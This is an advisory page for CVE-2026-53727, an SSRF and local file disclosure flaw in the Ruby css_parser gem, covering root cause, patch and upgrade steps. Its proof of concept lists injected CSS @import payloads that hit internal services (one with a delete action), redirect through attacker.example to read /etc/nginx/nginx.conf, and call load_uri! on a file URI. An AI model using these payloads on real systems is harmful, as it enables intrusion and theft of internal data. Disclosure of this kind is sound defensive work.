highCVE-2026-53727Jul 9, 2026

CVE-2026-53727: css_parser SSRF and Local File Disclosure via @import

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The Ruby css_parser gem fetches any URL found in a CSS @import rule with no host or scheme restrictions, letting an attacker read internal services or local files by injecting a single CSS rule into a

Packagecss_parser
Ecosystemrubygems
Affected< 3.0.0
Fixed in3.0.0

The problem

CssParser::Parser#read_remote_file issues outbound HTTP/HTTPS requests against any host and port with no allowlist, no IP-range filtering, and no loopback or RFC-1918 protection. The same function also services file:// URIs, and it follows Location: redirect headers recursively into itself, so a single attacker-controlled HTTP 302 response pointing to file:///etc/nginx/nginx.conf upgrades the SSRF to an arbitrary local file read.

The two entry points that reach the sink are load_uri! (called directly) and add_block! when invoked with a base_uri: option and the default import: true. Premailer always sets base_uri: when given a document URL, making every Premailer email-rendering pipeline that processes attacker-influenced HTML or CSS reachable from this single-rule payload.

Proof of concept

A working proof-of-concept for CVE-2026-53727 in css_parser, with the exact payload below.

css
# Inject this one-liner into any CSS the target application parses
# with add_block!(css, base_uri: 'http://attacker.example/')

# 1. Blind SSRF side-effect (request always fires even if body is not CSS-shaped)
@import url("http://internal-admin.local/api/v1/users/42?action=delete");

# 2. Non-blind SSRF: recover response body via parser API when body is CSS-shaped
@import url("http://internal-svc.local/debug/config");

# 3. Cross-scheme redirect -> local file read
#    Attacker controls https://attacker.example/r which returns:
#      HTTP/1.1 302 Found
#      Location: file:///etc/nginx/nginx.conf
@import url("https://attacker.example/r");

# Ruby trigger for all three (base_uri: is the only required option):
#   require 'css_parser'
#   parser = CssParser::Parser.new
#   parser.add_block!(File.read('attacker.css'), base_uri: 'http://attacker.example/')

# Direct load_uri! path (no CSS needed):
#   parser.load_uri!('file:///etc/nginx/nginx.conf')

The root cause is a complete absence of input validation in read_remote_file: no scheme allowlist, no host/IP check, and no guard on the Location header before recursing. Because the file:// branch lived inside the same remote-fetch function, a cross-scheme HTTP-to-file:// redirect required zero additional primitives.

The patch (commits ba74c3c, 7d2ddf0, e0a1514) routes all outbound HTTP through the ssrf_filter gem, which resolves hostnames with Resolv, rejects loopback/RFC-1918/link-local/cloud-metadata ranges, and re-validates scheme and resolved IP on every redirect hop, defeating DNS-rebinding bypasses.

The file:// branch was removed from read_remote_file entirely and isolated behind a new opt-in flag allow_file_uris: false, so a 302 Location: file://... response can no longer be followed regardless of parser configuration. Accept-Encoding: gzip was also removed from the outbound request to eliminate the decompression-bomb surface.

CWE-918 covers the SSRF leg; CWE-73 covers the file-URI leg.

The fix

Upgrade css_parser to 3.0.0. The default Parser.new is now safe with no code changes needed for standard Premailer pipelines. If your test suite hits localhost fixtures, pass allow_local_network: true to Parser.new. If your code explicitly calls load_uri! with file:// URIs or sets base_uri: 'file://...', pass allow_file_uris: true, or migrate to load_file!(path) which accepts a plain path and is not subject to the URI gate.

Reported by JLLeitschuh (Braze Security), originally discovered by NCC Group pentesters.

References: [1][2][3][4]

Related research